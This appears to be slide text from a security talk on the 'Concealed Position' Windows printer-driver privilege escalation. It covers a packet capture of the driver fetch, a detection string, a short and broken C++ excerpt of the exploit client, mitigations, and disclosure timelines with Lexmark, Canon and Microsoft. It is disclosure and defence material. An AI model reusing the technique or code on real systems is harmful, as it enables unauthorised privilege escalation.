340	0.399926	10.0.0.7	10.0.0.6	IREMOT...	374	winspool_AsyncGetPrinterDriverPackagePath request
341	0.403078	10.0.0.6	10.0.0.7	IREMOT...	118	winspool_AsyncGetPrinterDriverPackagePath response
342	0.403271	10.0.0.7	10.0.0.6	IREMOT...	454	winspool_AsyncGetPrinterDriverPackagePath request
343	0.405621	10.0.0.6	10.0.0.7	IREMOT...	214	winspool_AsyncGetPrinterDriverPackagePath response
344	0.406191	10.0.0.7	10.0.0.6	SMB2	214	Ioctl Request FSCTL DFS_GET_REFERRALS, File: \10.0.0.6\print\$
345	0.408258	10.0.0.6	10.0.0.7	SMB2	130	Ioctl Response, Error: STATUS_FS_DRIVER_REQUIRED
346	0.408502	10.0.0.7	10.0.0.6	SMB2	164	Tree Connect Request Tree: \\10.0.0.6\print\$
347	0.410452	10.0.0.6	10.0.0.7	SMB2	138	Tree Connect Response
348	0.411380	10.0.0.7	10.0.0.6	SMB2	398	Create Request File: x64\PCC\LMUD1o40.cab
349	0.451506	10.0.0.7	10.0.0.6	TCP	54	51462 → 49668 [ACK] Seq=228831 Ack=230395 Win=163072 Len=0
350	0.452398	10.0.0.6	10.0.0.7	TCP	60	445 → 51460 [ACK] Seq=5417 Ack=6042 Win=129792 Len=0
351	0.739205	10.0.0.6	10.0.0.7	SMB2	410	Create Response File: x64\PCC\LMUD1o40.cab

https://github.com/jacob-baines/concealed_position/tree/main/detection

DETECTION UNIQUE STRING




- cp_client.exe has a 64 byte unique string embedded for detection: WVqtcQKfeIUxunX1jAadGwMiir5LacjHwN8tVl1Pr7AiwJnZCsik2TxHLZgGhErb
- YARA rule in the detections subdirectory

```
193 lines (170 sloc) | 6.21 KB

1 #include <stdlib.h>
2 #include <Windows.h>
3 #include <iostream>
4 #include <thread>
5 #include <chrono>
6 #include <set>
7
8 #include "popl.hpp"
9 #include "exploitfactory.h"
10
11 namespace
12 {
13     const ExploitFactory s_exploits;
14
15     const std::string catch_me("WVqtcQKfeIUxunX1jAadGwMiir5LacjHwN8tVl1Pr7AiwJnZCsik2TxHLZgGhErb");
16
17     bool installDriverFromStore(const std::string& p_driver)
18     {
19         std::wstring wDriver(p_driver.begin(), p_driver.end());
20         HRESULT hr = InstallPrinterDriverFromPackage(NULL, NULL, &Driver, &status);
21     }
22 }
```

MITIGATIONS



- Patching might never be an option.
- Search user driver stores for affected drivers and remove them. `pnputil.exe /enum-drivers`
- GPO is useful here. Enable “Package Point and Print – Approved Servers”



DISCLOSURES & FUTURE WORK

DISCLOSURE



- Similar disclosures sent to Lexmark, Canon, and Microsoft on 18 June 2021.
- All were provided with descriptions of their specific issues.
- All were given versions of concealed position.
- All were informed of the 7 August 2021 disclosure date.

LEXMARK: DISCLOSURE TIMELINE



- **18 June 2021:** Disclosure sent to securityalerts@lexmark.com
- **18 June 2021:** Lexmark acknowledges receipt
- **21 June 2021:** Lexmark confirms the issue
- **21 June 2021:** CVE request sent to MITRE
- **30 June 2021:** Ask MITRE again to assign CVE.
- **30 June 2021:** Lexmark provides beta patch for testing.
- **1 July 2021:** Inform Lexmark the beta patch addresses the issue.
- **2 July 2021:** Ask MITRE about the status of the CVE assignment.
- **2 July 2021:** CVE-2021-35449 is assigned and Lexmark is informed.
- **6 July 2021:** Emails are exchanged about credit in the advisory.
- **13 July 2021:** Lexmark shared a copy of their advisory to be released later in the week.

CANON: DISCLOSURE TIMELINE



- **18 June 2021:** Disclosure emailed to Canon PSIRT
- **21 June 2021:** Acknowledgement of receipt
- **21–22 June 2021:** Emails exchanged regarding the affected component.
- **26 June 2021:** Canon is asked for an update.
- **29 June 2021:** Canon states they will update shortly.
- **1 July 2021:** Canon is asked again for an update and to confirm the vulnerability.
- **9 July 2021:** Canon again asked for an update and to confirm the vulnerability.
- **12 July 2021:** Canon asks if a July 4 security patch fixes the issue.
- **12 July 2021:** Canon is told the patch has no effect on the reported vulnerability. Canon is asked if they have tried the proof of concept or if they are confused about the affected file path.
- **12 July 2021:** Canon acknowledges but doesn't answer questions.

MICROSOFT: DISCLOSURE TIMELINE




- **18 June 2021:** Disclosure sent to Microsoft Security Response Center (MSRC)
- **18 June 2021:** MSRC send an automated acknowledgement
- **18 June 2021:** MSRC assigns a case ID
- **1 July 2021:** MSRC is asked for an update
- **1 July 2021:** MSRC indicates they are working to reproduce.
- **1 July 2021:** MSRC states they are having issues reproducing the issue. Ask a couple of questions.
- **1 July 2021:** MSRC is asked exactly where they are experiencing issues and if it is PoC configuration related.
- **2 July 2021:** MSRC restates questions.
- **2 July 2021:** MSRC is provided with answers
- **4 July 2021:** MSRC is provided with a clarification on MSAPI usage.
- **8 July 2021:** MSRC says they can't reproduce because `InstallPrinterDriverFromPackage` requires admin privileges.
- **8 July 2021:** MSRC is informed that isn't true for drivers in the driver store. MSRC is asked if a PoC video would help.
- **8 July 2021:** MSRC indicates a PoC video always helps.
- **9 July 2021:** MSRC is sent a PoC video and updated code.
- **12 July 2021:** MSRC acknowledges the issue.

FUTURE WORK



- Many more drivers to analyze
- Phase out use of CutePDF
- USB NDIS Attack
- Polish Concealed Position functionality



THANK YOU!



DARK WOLF
SOLUTIONS